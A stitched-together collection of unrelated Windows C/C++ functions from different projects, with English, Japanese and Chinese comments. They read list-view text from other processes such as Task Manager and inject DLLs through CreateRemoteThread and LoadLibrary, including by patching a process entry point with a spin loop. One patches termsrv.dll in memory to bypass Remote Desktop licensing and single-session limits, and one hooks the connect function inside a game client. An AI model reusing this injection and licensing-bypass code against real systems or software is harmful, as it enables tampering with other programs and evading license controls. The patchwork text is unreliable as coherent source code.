String* Helper::GetListViewItemText (DWORD processID, IntPtr listViewHWnd, int rowNum, int colNum) { const int textSize = 1024; // TODO: figure out the correct size HANDLE hProcess = OpenProcess (STANDARD_RIGHTS_REQUIRED | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, processID); char *pTextProcess = (char *) VirtualAllocEx (hProcess, NULL, textSize, MEM_COMMIT, PAGE_READWRITE); LV_ITEM *pListViewItemProcess = (LV_ITEM *) VirtualAllocEx (hProcess, NULL, sizeof (LV_ITEM), MEM_COMMIT, PAGE_READWRITE); BOOL result = FALSE; char pszText[textSize]; ZeroMemory (pszText, textSize * sizeof (char)); unsigned long bytesRead = 0; unsigned long bytesWritten = 0; LV_ITEM listViewItem; ZeroMemory (&listViewItem, sizeof (listViewItem)); listViewItem.mask = LVIF_TEXT; listViewItem.iItem = rowNum; listViewItem.iSubItem = colNum; listViewItem.cchTextMax = textSize; listViewItem.pszText = pTextProcess; result = WriteProcessMemory (hProcess, pListViewItemProcess, &listViewItem, sizeof (listViewItem), &bytesWritten); if (!result) { char *msg = NULL; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError (), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &msg, 0, NULL); String *message = new String (msg); LocalFree (msg); msg = NULL; throw new HelperException ((new String ("WriteProcessMemory Error - "))->Concat (message)); } result = ListView_GetItem ((HWND) listViewHWnd.ToPointer (), pListViewItemProcess); if (!result) { throw new HelperException ("ListView_GetItem Error - ListView_GetItem failed"); } result = ReadProcessMemory (hProcess, pListViewItemProcess, &listViewItem, sizeof (listViewItem), &bytesRead); if (!result) { char *msg = NULL; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError (), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &msg, 0, NULL); String *message = new String (msg); LocalFree (msg); msg = NULL; throw new HelperException ((new String ("ReadProcessMemory Error - "))->Concat (message)); } result = ReadProcessMemory (hProcess, listViewItem.pszText, pszText, textSize, &bytesRead); if (!result) { char *msg = NULL; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError (), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &msg, 0, NULL); String *message = new String (msg); LocalFree (msg); msg = NULL; throw new HelperException ((new String ("ReadProcessMemory Error - "))->Concat (message)); } String *itemText = new String (pszText); return itemText; } // GetListViewItemText
//-------------------------------------------------------------------------- // patches the entry point of the main thread to go into infinite loop // dll is injected when this loop is reached, // after which the old entry point data is restored int PatchEntryPoint(HANDLE proc, HANDLE thread, char *dllName) { DWORD entryPoint; DWORD oldProtect1,oldProtect2; unsigned char oldHeader[2]; unsigned char newHeader[2]; CONTEXT context; entryPoint = GetEntryPoint(proc); if (!entryPoint) { printf("Error getting entry point\n"); return 0; } // make entry point writeable VirtualProtectEx(proc, (LPVOID)entryPoint, 2, PAGE_EXECUTE_READWRITE, &oldProtect1); //store 2 bytes from entry point if (!ReadProcessMemory(proc, (LPCVOID)(entryPoint),oldHeader, 2, NULL)) { printf("Error reading data from entry point"); return 0; } // JMP -2 newHeader[0] = 0xEB; newHeader[1] = 0xFE; // patch entry point to go into infinite loop if (!WriteProcessMemory(proc, (LPVOID)(entryPoint),newHeader, 2, NULL)) { printf("Error writing to entry point"); return 0; } ResumeThread(thread); // wait until entry point is reached while (true) { Sleep(100); context.ContextFlags = CONTEXT_CONTROL; GetThreadContext(thread, &context); if (context.Eip == entryPoint) break; } InjectDLL(proc, dllName); SuspendThread(thread); // return original code to entry point if (!WriteProcessMemory(proc, (LPVOID)(entryPoint),oldHeader, 2, NULL)) { printf("Error writing to entry point"); return 0; } // restore protection VirtualProtectEx(proc, (LPVOID)entryPoint, 2, oldProtect1, &oldProtect2); return 1; }
HANDLE __stdcall DllInjectionW(PROCESS_INFORMATION *pi, //プロセスの情報 const wchar_t *szDllName)//Dllファイル名 { HANDLE hProcess = pi->hProcess; //dllファイルの絶対パスを保存する変数 TCHAR szLibFile[MAX_PATH]; //dllファイルの絶対パスの文字列の長さ + 1(\0までの長さを保存する) int szLibFileLen; //もし相対パスなら、 //自身の絶対パスの取得をして、dllまでの絶対パスを作る。 //(例 X:/-----/--.... というパスは、1バイト目が':'なので、絶対パスとなる。) //絶対パスなら、そのままコピーするだけ。 if(szDllName[1] != ':'){ GetModuleFileName(NULL, szLibFile, sizeof(szLibFile)); lstrcpy(_tcsrchr(szLibFile, _TEXT('\\')) + 1, szDllName); } else { lstrcpyW(szLibFile,szDllName); } //長さ(使うメモリ領域)の計算 szLibFileLen = lstrlen(szLibFile) + 1; szLibFileLen = szLibFileLen * sizeof(TCHAR); //プロセス内にメモリ領域の確保 LPSTR RemoteProcessMemory; RemoteProcessMemory = (LPSTR)VirtualAllocEx( hProcess, NULL, szLibFileLen, MEM_COMMIT, PAGE_READWRITE); if(RemoteProcessMemory == NULL){ //setErrorString("プロセス内にメモリが確保できませんでした。"); return NULL; } //書き込み if(WriteProcessMemory(hProcess, RemoteProcessMemory, (PVOID)szLibFile, szLibFileLen, NULL) == 0){ //setErrorString("プロセスに書き込みができませんでした。"); return NULL; } //LoadLibraryW関数が始まるポインタの取得 PTHREAD_START_ROUTINE pfnThreadRtn; pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle(_TEXT("Kernel32")), "LoadLibraryW"); if (pfnThreadRtn == NULL){ //setErrorString("LoadLibraryが見つかりませんでした。(何故?)"); return NULL; } //スレッド作成 HANDLE hThread; hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, RemoteProcessMemory,CREATE_SUSPENDED, NULL); if (hThread == NULL){ //setErrorString("スレッドが作れませんでした。"); return NULL; } //スレッド実行 ResumeThread(hThread); BYTE *modulePointer = (BYTE *)WaitForSingleObject(hThread,INFINITE); DWORD dwExitCode; //終了コード GetExitCodeThread(hThread,&dwExitCode); CloseHandle(hThread); //スレッドを閉じる //プロセス内に確保したメモリの開放 VirtualFreeEx(hProcess,RemoteProcessMemory,260,MEM_DECOMMIT); if(dwExitCode == NULL){ char a_szLibName[MAX_PATH]; BOOL bDummy; WideCharToMultiByte(CP_ACP,0,szLibFile,-1,a_szLibName,MAX_PATH,"<不明なライブラリ>",&bDummy); //setErrorStringEx("%s ---- DLLがロードできませんでした。",a_szLibName); return NULL; } return (HANDLE)dwExitCode; }
void Inject() { HANDLE hProcess = NULL; HANDLE hThread = NULL; char * pFileName = NULL; __try { HWND hWnd = GetForegroundWindow(); char buffer[256]; GetWindowText(hWnd, buffer, 255); printf("当前窗口: %s\n", buffer); DWORD pid = 0; GetWindowThreadProcessId(hWnd, &pid); printf("进程ID: %x\n", pid); hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid); if(!hProcess) { printf("打开进程失败。\n"); __leave; } int cb = strlen(g_dllName) + 1; pFileName = (char *)VirtualAllocEx(hProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); if(!pFileName) { printf("分配内存失败。\n"); __leave; } if(!WriteProcessMemory(hProcess, pFileName, g_dllName, cb, NULL)) { printf("写入DLL名称失败。\n"); __leave; } PTHREAD_START_ROUTINE pfn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA"); if(!pfn) { printf("获取LoadLibraryA地址失败。\n"); __leave; } hThread = CreateRemoteThread(hProcess, NULL, 0, pfn, pFileName, 0, NULL); if(!hThread) { printf("创建远程线程失败。\n"); __leave; } WaitForSingleObject(hThread, INFINITE); } __finally { if(pFileName) VirtualFreeEx(hProcess, pFileName, 0, MEM_RELEASE); if(hThread) CloseHandle(hThread); if(hProcess) CloseHandle(hProcess); } }
void Hook() { extern FARJMP Old_SLGetWindowsInformationDWORD, Stub_SLGetWindowsInformationDWORD; extern SLGETWINDOWSINFORMATIONDWORD _SLGetWindowsInformationDWORD; extern HMODULE hTermSrv; extern HMODULE hSLC; extern PLATFORM_DWORD TermSrvBase; extern FILE_VERSION FV; extern wchar_t LogFile[256]; AlreadyHooked = true; char *Log; wchar_t ConfigFile[256] = { 0x00 }; WriteToLog("Loading configuration...\r\n"); GetModuleFileName(GetCurrentModule(), ConfigFile, 255); for (DWORD i = wcslen(ConfigFile); i > 0; i--) { if (ConfigFile[i] == '\\') { memset(&ConfigFile[i + 1], 0x00, ((256 - (i + 1))) * 2); memcpy(&ConfigFile[i + 1], L"rdpwrap.ini", strlen("rdpwrap.ini") * 2); break; } } Log = new char[1024]; wsprintfA(Log, "Configuration file: %S\r\n", ConfigFile); WriteToLog(Log); delete[] Log; IniFile = new INI_FILE(ConfigFile); // TODO: implement this if (IniFile == NULL) { WriteToLog("Error: Failed to load configuration\r\n"); return; } INI_VAR_STRING LogFileVar; if(!(IniFile->GetVariableInSection("Main", "LogFile", &LogFileVar))) { GetModuleFileName(GetCurrentModule(), LogFile, 255); for(DWORD i = wcslen(LogFile); i > 0; i--) { if(LogFile[i] == '\\') { memset(&LogFile[i+1], 0x00, ((256-(i+1)))*2); memcpy(&LogFile[i+1], L"rdpwrap.txt", strlen("rdpwrap.txt")*2); break; } } } else { // TODO: Change it before add UNICODE in IniFile wchar_t wcLogFile[256]; memset(wcLogFile, 0x00, 256); mbstowcs(wcLogFile, LogFileVar.Value, 255); wcscpy(LogFile, wcLogFile); } SIZE_T bw; WORD Ver = 0; PLATFORM_DWORD TermSrvSize, SignPtr; FARJMP Jump; WriteToLog("Initializing RDP Wrapper...\r\n"); hTermSrv = LoadLibrary(L"termsrv.dll"); if (hTermSrv == 0) { WriteToLog("Error: Failed to load Terminal Services library\r\n"); return; } _ServiceMain = (SERVICEMAIN)GetProcAddress(hTermSrv, "ServiceMain"); _SvchostPushServiceGlobals = (SVCHOSTPUSHSERVICEGLOBALS)GetProcAddress(hTermSrv, "SvchostPushServiceGlobals"); Log = new char[4096]; wsprintfA(Log, "Base addr: 0x%p\r\n" "SvcMain: termsrv.dll+0x%p\r\n" "SvcGlobals: termsrv.dll+0x%p\r\n", hTermSrv, (PLATFORM_DWORD)_ServiceMain - (PLATFORM_DWORD)hTermSrv, (PLATFORM_DWORD)_SvchostPushServiceGlobals - (PLATFORM_DWORD)hTermSrv); WriteToLog(Log); delete[] Log; // check termsrv version if (GetModuleVersion(L"termsrv.dll", &FV)) { Ver = (BYTE)FV.wVersion.Minor | ((BYTE)FV.wVersion.Major << 8); } else { // check NT version // Ver = GetVersion(); // deprecated // Ver = ((Ver & 0xFF) << 8) | ((Ver & 0xFF00) >> 8); } if (Ver == 0) { WriteToLog("Error: Failed to detect Terminal Services version\r\n"); return; } Log = new char[1024]; wsprintfA(Log, "Version: %d.%d.%d.%d\r\n", FV.wVersion.Major, FV.wVersion.Minor, FV.Release, FV.Build); WriteToLog(Log); delete[] Log; // temporarily freeze threads WriteToLog("Freezing threads...\r\n"); SetThreadsState(false); bool Bool; if (!(IniFile->GetVariableInSection("Main", "SLPolicyHookNT60", &Bool))) Bool = true; if ((Ver == 0x0600) && Bool) { // Windows Vista // uses SL Policy API (slc.dll) // load slc.dll and hook function hSLC = LoadLibrary(L"slc.dll"); _SLGetWindowsInformationDWORD = (SLGETWINDOWSINFORMATIONDWORD)GetProcAddress(hSLC, "SLGetWindowsInformationDWORD"); if (_SLGetWindowsInformationDWORD != INVALID_HANDLE_VALUE) { // rewrite original function to call our function (make hook) WriteToLog("Hook SLGetWindowsInformationDWORD\r\n"); #ifdef _WIN64 Stub_SLGetWindowsInformationDWORD.MovOp = 0x48; Stub_SLGetWindowsInformationDWORD.MovRegArg = 0xB8; Stub_SLGetWindowsInformationDWORD.MovArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD; Stub_SLGetWindowsInformationDWORD.PushRaxOp = 0x50; Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3; #else Stub_SLGetWindowsInformationDWORD.PushOp = 0x68; Stub_SLGetWindowsInformationDWORD.PushArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD; Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3; #endif ReadProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Old_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw); WriteProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Stub_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw); } } if (!(IniFile->GetVariableInSection("Main", "SLPolicyHookNT61", &Bool))) Bool = true; if ((Ver == 0x0601) && Bool) { // Windows 7 // uses SL Policy API (slc.dll) // load slc.dll and hook function hSLC = LoadLibrary(L"slc.dll"); _SLGetWindowsInformationDWORD = (SLGETWINDOWSINFORMATIONDWORD)GetProcAddress(hSLC, "SLGetWindowsInformationDWORD"); if (_SLGetWindowsInformationDWORD != INVALID_HANDLE_VALUE) { // rewrite original function to call our function (make hook) WriteToLog("Hook SLGetWindowsInformationDWORD\r\n"); #ifdef _WIN64 Stub_SLGetWindowsInformationDWORD.MovOp = 0x48; Stub_SLGetWindowsInformationDWORD.MovRegArg = 0xB8; Stub_SLGetWindowsInformationDWORD.MovArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD; Stub_SLGetWindowsInformationDWORD.PushRaxOp = 0x50; Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3; #else Stub_SLGetWindowsInformationDWORD.PushOp = 0x68; Stub_SLGetWindowsInformationDWORD.PushArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD; Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3; #endif ReadProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Old_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw); WriteProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Stub_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw); } } if (Ver == 0x0602) { // Windows 8 // uses SL Policy internal unexported function // load slc.dll and get function // (will be used on intercepting undefined values) hSLC = LoadLibrary(L"slc.dll"); _SLGetWindowsInformationDWORD = (SLGETWINDOWSINFORMATIONDWORD)GetProcAddress(hSLC, "SLGetWindowsInformationDWORD"); } if (Ver == 0x0603) { // Windows 8.1 // uses SL Policy internal inline code } if (Ver == 0x0604) { // Windows 10 // uses SL Policy internal inline code } char *Sect; INI_VAR_STRING PatchName; INI_VAR_BYTEARRAY Patch; Sect = new char[256]; memset(Sect, 0x00, 256); wsprintfA(Sect, "%d.%d.%d.%d", FV.wVersion.Major, FV.wVersion.Minor, FV.Release, FV.Build); if (IniFile->SectionExists(Sect)) { if (GetModuleCodeSectionInfo(hTermSrv, &TermSrvBase, &TermSrvSize)) { #ifdef _WIN64 if (!(IniFile->GetVariableInSection(Sect, "LocalOnlyPatch.x64", &Bool))) Bool = false; #else if (!(IniFile->GetVariableInSection(Sect, "LocalOnlyPatch.x86", &Bool))) Bool = false; #endif if (Bool) { WriteToLog("Patch CEnforcementCore::GetInstanceOfTSLicense\r\n"); Bool = false; #ifdef _WIN64 SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "LocalOnlyOffset.x64", 0)); Bool = IniFile->GetVariableInSection(Sect, "LocalOnlyCode.x64", &PatchName); #else SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "LocalOnlyOffset.x86", 0)); Bool = IniFile->GetVariableInSection(Sect, "LocalOnlyCode.x86", &PatchName); #endif if (Bool) Bool = IniFile->GetVariableInSection("PatchCodes", PatchName.Value, &Patch); if (Bool && (SignPtr > TermSrvBase)) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, Patch.Value, Patch.ArraySize, &bw); } #ifdef _WIN64 if (!(IniFile->GetVariableInSection(Sect, "SingleUserPatch.x64", &Bool))) Bool = false; #else if (!(IniFile->GetVariableInSection(Sect, "SingleUserPatch.x86", &Bool))) Bool = false; #endif if (Bool) { WriteToLog("Patch CSessionArbitrationHelper::IsSingleSessionPerUserEnabled\r\n"); Bool = false; #ifdef _WIN64 SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SingleUserOffset.x64", 0)); Bool = IniFile->GetVariableInSection(Sect, "SingleUserCode.x64", &PatchName); #else SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SingleUserOffset.x86", 0)); Bool = IniFile->GetVariableInSection(Sect, "SingleUserCode.x86", &PatchName); #endif if (Bool) Bool = IniFile->GetVariableInSection("PatchCodes", PatchName.Value, &Patch); if (Bool && (SignPtr > TermSrvBase)) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, Patch.Value, Patch.ArraySize, &bw); } #ifdef _WIN64 if (!(IniFile->GetVariableInSection(Sect, "DefPolicyPatch.x64", &Bool))) Bool = false; #else if (!(IniFile->GetVariableInSection(Sect, "DefPolicyPatch.x86", &Bool))) Bool = false; #endif if (Bool) { WriteToLog("Patch CDefPolicy::Query\r\n"); Bool = false; #ifdef _WIN64 SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "DefPolicyOffset.x64", 0)); Bool = IniFile->GetVariableInSection(Sect, "DefPolicyCode.x64", &PatchName); #else SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "DefPolicyOffset.x86", 0)); Bool = IniFile->GetVariableInSection(Sect, "DefPolicyCode.x86", &PatchName); #endif if (Bool) Bool = IniFile->GetVariableInSection("PatchCodes", PatchName.Value, &Patch); if (Bool && (SignPtr > TermSrvBase)) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, Patch.Value, Patch.ArraySize, &bw); } #ifdef _WIN64 if (!(IniFile->GetVariableInSection(Sect, "SLPolicyInternal.x64", &Bool))) Bool = false; #else if (!(IniFile->GetVariableInSection(Sect, "SLPolicyInternal.x86", &Bool))) Bool = false; #endif if (Bool) { WriteToLog("Hook SLGetWindowsInformationDWORDWrapper\r\n"); char *FuncName; FuncName = new char[1024]; #ifdef _WIN64 SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLPolicyOffset.x64", 0)); Jump.MovOp = 0x48; Jump.MovRegArg = 0xB8; Jump.MovArg = (PLATFORM_DWORD)New_Win8SL; Jump.PushRaxOp = 0x50; Jump.RetOp = 0xC3; INIReadString(IniFile, Sect, "SLPolicyFunc.x64", "New_Win8SL", FuncName, 1024); if (strcmp(FuncName, "New_Win8SL")) { Jump.MovArg = (PLATFORM_DWORD)New_Win8SL; } #else SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLPolicyOffset.x86", 0)); Jump.PushOp = 0x68; Jump.PushArg = (PLATFORM_DWORD)New_Win8SL; Jump.RetOp = 0xC3; INIReadString(IniFile, Sect, "SLPolicyFunc.x86", "New_Win8SL", FuncName, 1024); if (strcmp(FuncName, "New_Win8SL")) { Jump.PushArg = (PLATFORM_DWORD)New_Win8SL; } if (strcmp(FuncName, "New_Win8SL_CP")) { Jump.PushArg = (PLATFORM_DWORD)New_Win8SL_CP; } #endif delete[] FuncName; if (SignPtr > TermSrvBase) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, &Jump, sizeof(FARJMP), &bw); } #ifdef _WIN64 if (!(IniFile->GetVariableInSection(Sect, "SLInitHook.x64", &Bool))) Bool = false; #else if (!(IniFile->GetVariableInSection(Sect, "SLInitHook.x86", &Bool))) Bool = false; #endif if (Bool) { WriteToLog("Hook CSLQuery::Initialize\r\n"); char *FuncName; FuncName = new char[1024]; #ifdef _WIN64 SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLInitOffset.x64", 0)); Jump.MovOp = 0x48; Jump.MovRegArg = 0xB8; Jump.MovArg = (PLATFORM_DWORD)New_CSLQuery_Initialize; Jump.PushRaxOp = 0x50; Jump.RetOp = 0xC3; INIReadString(IniFile, Sect, "SLInitFunc.x64", "New_CSLQuery_Initialize", FuncName, 1024); if (strcmp(FuncName, "New_CSLQuery_Initialize")) { Jump.MovArg = (PLATFORM_DWORD)New_CSLQuery_Initialize; } #else SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLInitOffset.x86", 0)); Jump.PushOp = 0x68; Jump.PushArg = (PLATFORM_DWORD)New_CSLQuery_Initialize; Jump.RetOp = 0xC3; INIReadString(IniFile, Sect, "SLInitFunc.x86", "New_CSLQuery_Initialize", FuncName, 1024); if (strcmp(FuncName, "New_CSLQuery_Initialize")) { Jump.PushArg = (PLATFORM_DWORD)New_CSLQuery_Initialize; } #endif delete[] FuncName; if (SignPtr > TermSrvBase) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, &Jump, sizeof(FARJMP), &bw); } } } delete[] Sect; WriteToLog("Resumimg threads...\r\n"); SetThreadsState(true); return; }
//取得任务管理器的选项 char* GetListText() { static char output[512]; //查找任务管理器窗口 DWORD PID; HANDLE hProcess; LVITEM lvitem, *plvitem = NULL; char ItemBuf[512],*pItem = NULL; HWND hwnd=FindWindow("#32770","Windows 任务管理器"); hwnd=FindWindowEx(hwnd,0,"#32770",0); //查找列表控件 hwnd=FindWindowEx(hwnd,0,"SysListView32",0); if (!hwnd) { MessageBox(NULL,"Windows 任务管理器 尚未启动","提示!",MB_ICONWARNING); return output; } //取得选项的索引 int iItem=SendMessage(hwnd,LVM_GETNEXTITEM,-1,LVNI_SELECTED); if (iItem==-1) { MessageBox(NULL,"没有指定目标进程!","提示!",MB_ICONWARNING); CloseHandle(hwnd); return output; } //打开进程 GetWindowThreadProcessId(hwnd,&PID); hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,PID); if (!hProcess) { MessageBox(NULL,"获取进程句柄操作失败","提示!",MB_ICONWARNING); CloseHandle(hwnd); return output; } //分配虚拟内存 plvitem=(LVITEM*)VirtualAllocEx(hProcess, NULL, sizeof(LVITEM), MEM_COMMIT, PAGE_READWRITE); pItem=(char*)VirtualAllocEx(hProcess, NULL, 512, MEM_COMMIT, PAGE_READWRITE); if ((!plvitem)||(!pItem)) { MessageBox(NULL,"无法分配内存!","提示!",MB_ICONWARNING); CloseHandle(hwnd); CloseHandle(hProcess); return output; } //得到选择内容 lvitem.cchTextMax=512; //lvitem.iSubItem=1;//PID lvitem.iSubItem=0; //ProcessName lvitem.pszText=pItem; WriteProcessMemory(hProcess, plvitem, &lvitem, sizeof(LVITEM), NULL); SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)iItem, (LPARAM)plvitem); ReadProcessMemory(hProcess, pItem, ItemBuf, 512, NULL); strcpy(output,ItemBuf); //释放内存 CloseHandle(hwnd); CloseHandle(hProcess); VirtualFreeEx(hProcess, plvitem, 0, MEM_RELEASE); VirtualFreeEx(hProcess, pItem, 0, MEM_RELEASE); return output; }
void ProcessInjector::run() { HANDLE lolProcess = NULL; PROCESSENTRY32 entry; // Wait until the client launchs do { msleep(500); entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(Process32First(snapshot, &entry)){ while(Process32Next(snapshot, &entry)){ if(wcsicmp(entry.szExeFile, L"lolclient.exe") == 0){ lolProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID); if(!lolProcess) { // do this here so we don't close an invalid handle in EXIT CloseHandle(snapshot); emit injected(InjectionStatus::AuthError); exec(); return; } break; } } } CloseHandle(snapshot); } while(!lolProcess); //TODO 64bit check // Calculate connect function offset auto ourWs2 = GetModuleHandleA("ws2_32.dll"); int32_t offset = (int32_t)GetProcAddress(ourWs2, "connect") - (int32_t)ourWs2; // Wait until the client loads ws2 void* lolConnectAddr = 0; do { msleep(100); MODULEENTRY32 modEntry; modEntry.dwSize = sizeof(MODULEENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, entry.th32ProcessID); if(!snapshot) EXIT(MemoryError); if(Module32First(snapshot, &modEntry)){ do{ if(wcsicmp(modEntry.szModule, L"ws2_32.dll") == 0){ lolConnectAddr = modEntry.modBaseAddr + offset; break; } }while(Module32Next(snapshot, &modEntry)); } CloseHandle(snapshot); }while(!lolConnectAddr); // Do some checks unsigned char checkBuff[5]; if(!ReadProcessMemory(lolProcess, lolConnectAddr, (void*)checkBuff, 5, NULL)) EXIT(MemoryError); if(checkBuff[0] == 0xe9) EXIT(AlreadyInjected); if(!std::equal(safeCheck, safeCheck+5, checkBuff)) EXIT(MemoryError); // Create the cc LPVOID ccAddr = VirtualAllocEx(lolProcess, NULL, sizeof(connectcc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(!ccAddr) EXIT(MemoryError); unsigned char cc[sizeof(connectcc)]; std::copy(connectcc, connectcc+sizeof(cc), cc); // Set the jmp back *reinterpret_cast<int32_t*>(cc + sizeof(cc)-4) = ((int32_t)lolConnectAddr + 5) - ((int32_t)ccAddr + sizeof(cc)); if(!WriteProcessMemory(lolProcess, ccAddr, (void*)cc, sizeof(cc), NULL)) EXIT(MemoryError); // Set the jmp in unsigned char jmp[5] = {0xe9}; *reinterpret_cast<int32_t*>(jmp+1) = (int32_t)ccAddr - ((int32_t)lolConnectAddr + 5); if(!WriteProcessMemory(lolProcess, lolConnectAddr, jmp, 5, NULL)) EXIT(MemoryError); emit injected(InjectionStatus::Succeed); }
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); //UNREFERENCED_PARAMETER(lpCmdLine); char ** Command = 0; CommandLineToArg(GetCommandLine(), &Command); if( strcmp("Updater", Command[1]) ) { MessageBox(0, "Please start game from Launcher", "Start Error", ERROR); ExitProcess(0); } STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); HANDLE hToken; VMBEGIN if(!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)) { if (GetLastError() == ERROR_NO_TOKEN) { if (!ImpersonateSelf(SecurityImpersonation)) { MessageBox(NULL, "Code: 101", "Starter error", NULL); return 0; } if(!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){ MessageBox(NULL, "Code: 102", "Starter error", NULL); return 0; } } else return 0; } VMEND if( !SetPrivilege(hToken, SE_DEBUG_NAME, TRUE) ) { MessageBox(NULL, "Code: 103", "Starter error", NULL); CloseHandle(hToken); return 0; } char szCmd[128]; //DWORD dwTICK = ; //DWORD XOR = (DWORD)time(NULL); //dwTICK ^= XOR; sprintf(szCmd, "main.exe -test -k%d", GetTickCount()); if( !CreateProcess( NULL, // No module name (use command line) szCmd, // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED, // No creation flags NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi ) // Pointer to PROCESS_INFORMATION structure ) { MessageBox(NULL, "Code: 104", "Starter error", NULL); return 0; } try { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pi.dwProcessId); if( !hProcess ) { MessageBox(NULL, "Code: 105", "Starter error", NULL); return 0; } HANDLE hMainThread = OpenThread(THREAD_ALL_ACCESS,FALSE,pi.dwThreadId); if( !hMainThread ) { MessageBox(NULL, "Code: 106", "Starter error", NULL); return 0; } VMBEGIN DWORD lOfs; BYTE jmp[2] = {0xEB,0xFE}; BYTE original[2] = {0x60,0x9C}; ReadProcessMemory(hProcess,(LPVOID)MAIN_EIP,original,2,&lOfs); WriteProcessMemory(hProcess,(LPVOID)MAIN_EIP,jmp,2,&lOfs); ResumeThread(hMainThread); CONTEXT context; for(int i = 0; i < 50 && context.Eip != MAIN_EIP; i++) { Sleep(100); // read the thread context context.ContextFlags = CONTEXT_CONTROL; GetThreadContext( hMainThread, &context ); } if( context.Eip != MAIN_EIP ) { MessageBox(NULL, "Code: 107", "Starter error", NULL); return 0; } HANDLE hThread; char szLibPath[_MAX_PATH] = { "zClient.dll" }; void* pLibRemote; HMODULE hKernel32 = ::GetModuleHandle("Kernel32"); pLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath),MEM_COMMIT, PAGE_READWRITE );::WriteProcessMemory( hProcess, pLibRemote, (void*)szLibPath,sizeof(szLibPath), NULL ); hThread = ::CreateRemoteThread( hProcess, NULL, 0,(LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,"LoadLibraryA" ),pLibRemote, 0, NULL ); ::WaitForSingleObject( hThread, INFINITE ); SuspendThread(hMainThread); WriteProcessMemory(hProcess,(LPVOID)MAIN_EIP,original,2,&lOfs); ResumeThread(hMainThread); CloseHandle(hProcess); CloseHandle(hMainThread); VMEND } catch( ... ) { } return true; }
